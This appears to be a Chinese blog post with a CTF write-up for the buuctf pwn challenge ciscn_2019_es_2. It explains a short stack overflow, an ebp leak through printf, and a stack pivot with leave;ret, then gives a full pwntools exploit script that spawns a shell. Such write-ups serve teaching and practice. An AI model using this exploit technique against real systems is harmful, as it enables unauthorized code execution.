首页 > 其他分享 >buuctf-pwn-ciscn_2019_es_2

buuctf-pwn-ciscn_2019_es_2

时间:2024-05-11 13:21:37浏览次数:20  
标签:buuctf esp ret p32 ebp pwn 2019 main payload2

checksec

ida

我们看到在vul函数中,有两个read函数,每个都读取了0x30(48)大小的字符,并放入字符数组s中,也就是说我们能溢出的只有8个字节,刚好覆盖到ebp和返回地址
所以我们需要栈迁移,使我们能溢出更多字节

首先利用第一个read,输入40字节的数据,刚好覆盖到ebp,然后printf就会顺带打印出ebp的值
这里的ebp是主函数的ebp,所以我们动调一下看看主函数的ebp和esp差了多少字节

动调进入vul函数,走完创建栈帧流程,之后查看一下stack,此时的ebp存放的是主函数的ebp在栈中的地址,也就是说我们通过第一个printf泄露出的ebp和现在的esp差了0x38字节

然后我们就可以构建payload了,首先要覆盖ebp的值为esp的值,利用程序中正常的leave_ret,将ebp修改为我们填入的值(之前的栈溢出我们都是直接填'AAAA'的,不过这次我们需要先利用ebp修改esp的值 )
之后的返回地址填一个leave_ret的gadget,将esp修改为我们填入的ebp,之后就不用管ebp的值

然后就可以写exp了

from pwn import *

#p = remote("node5.buuoj.cn",27661)
p = process("./ciscn_2019_es_2")

system_plt = 0x08048400
lev_ret = 0x080485FD
main = 0x080485FF

#gdb.attach(p)

payload1 = b'A'*0x20+b'B'*0x8
p.send(payload1)
p.recvuntil(b'BBBBBBBB')
main_ebp = u32(p.recv(4))
#info(hex(main_ebp))

payload2 = b'AAAA' + p32(system_plt) + p32(main) + p32(main_ebp-0x38+16) + b'/bin/sh' # 这里的b'AAAA'就是第二次leave后ebp的值,此时esp在system_plt这里ret
payload2 = payload2.ljust(0x28,b'\x00')
payload2+= p32(main_ebp-0x38) + p32(lev_ret)
p.send(payload2)

p.interactive()

标签:buuctf,esp,ret,p32,ebp,pwn,2019,main,payload2
From: https://www.cnblogs.com/zzkkk1h/p/18186297

相关文章

  • cinder2019#bug
    OpenStack#bug2019888处理对于2023年5月10日之后的所有OpenStack版本,需要将Nova配置为向Cinder发送服务令牌,并让Cinder接收它。这是CVE-2023-2088修复程序所要求的。有关详细信息,请参阅OSSA-2023-003。nova配置vim/etc/nova/nova.conf'''[DEFAULT]'''ser......
  • [ISITDTU 2019]EasyPHP RCE异或限制
    解决一个一直以来的问题,RCE的异或绕过问题。先了解下奇技淫巧吧-->https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html接下来说说今天的问题,在做异或问题是发现许多payload都是(xxxxx)^(%ff....),这都是怎么来的呢。现在说说吧,就比如拿'_'号来说,实质上异......
  • P5664 [CSP-S2019] Emiya 家今天的饭
    题意简述有\(n\)种方法和\(m\)种食材,第\(i\)种方法第\(j\)种食材做出来的菜有\(a_{i,j}\)种。有以下限制:至少做一盘菜。每种方法做出来的菜品数至多为\(1\)。所有以第\(i\)种食材做出来的菜品数不超过菜品种数的一半。求方案数。\(n\le100,m\le2\times10^......
  • buuctf-pwn-[OGeek2019]babyrop
    查看一下保护情况丢进ida里分析主函数调用了一个含有alarm的函数,这个函数会设置一个定时器,到时间自动退出程序为了方便调试,我们直接patch掉这个函数接着分析,主函数读入了一个随机数,并将其传入sub_804871F函数sub_804871F函数读取输入,并检查输入的是否和随机数相同,不相同......
  • buuctf-pwn-ciscn_2019_c_1-ret2libc
    检查一下保护情况ida里选项2,3都没有什么重要的信息,直接看选项1发现栈溢出漏洞,不过程序对输入的字符串有一个异或加密,这里可以构造异或后的payload,利用程序来解密,或者可以直接在payload第一位加上'\x00',直接截断payload后面的异或操作用cyclic测一下溢出点,得到88找一下system......
  • buuctf-pwn-[第五空间2019 决赛]PWN5-格式化字符串漏洞
    题目地址:https://buuoj.cn/challenges#[第五空间2019决赛]PWN5先检查一下保护情况再拖进ida里分析找到一个格式化字符串漏洞,那么我们可以利用这个漏洞去获取或者改写dword_804C044的值从而进入if语句中,拿到shell什么是格式化字符串漏洞所谓格式化字符串漏洞,就是我们能控......
  • buuctf中Crypto解题合集
    一、一眼就解密ZmxhZ3tUSEVfRkxBR19PRl9USElTX1NUUklOR30=base64在线编解码:https://base64.supfree.net/二、MD5e00cf25ad42683b3df678c61f42c6bdaMD5在线解码:https://www.cmd5.com/三、Url编码%66%6c%61%67%7b%61%6e%64%20%31%3d%31%7durl编码在线网站:https://anytexte......
  • [CSCCTF 2019 Qual]FlaskLight
    [CSCCTF2019Qual]FlaskLight打开环境源代码里发现可通过GET方式传入参数简单验证发现存在SSTI{{''.__class__.__mro__[2].__subclasses__()}}#可以爆出所有的类编写脚本查找可利用的类利用subprocess.Popen执行命令importrequestsimportreimporthtmlimportt......
  • unicode编码 asis_2019_unicorn_shop
    这题就是让我们购买第四个商品当我们输入price为1337.0的时候他会报错,显示要我们只输入一个字符那么我们就要想怎样用一个字符来表示一个比1337还要大的数字答案是unicode编码(题目的名字给了提示)上这个网站我们直接查看2000的unicode编码把这个编码复制一......
  • 14、pWnOS_v2.0(VulnHub)
    pWnOS_v2.0一、nmap靶机ip找不见的自行上网查找解决办法。二、web渗透目录爆破/blog/whatweb/search.php/register.phpqwe123qwe点击给定的链接兔子洞,无法登入?一直卡在这个界面wfuzz貌似没什么用nmap->目录SimplePHPBlog0.4.0perl1191.pl......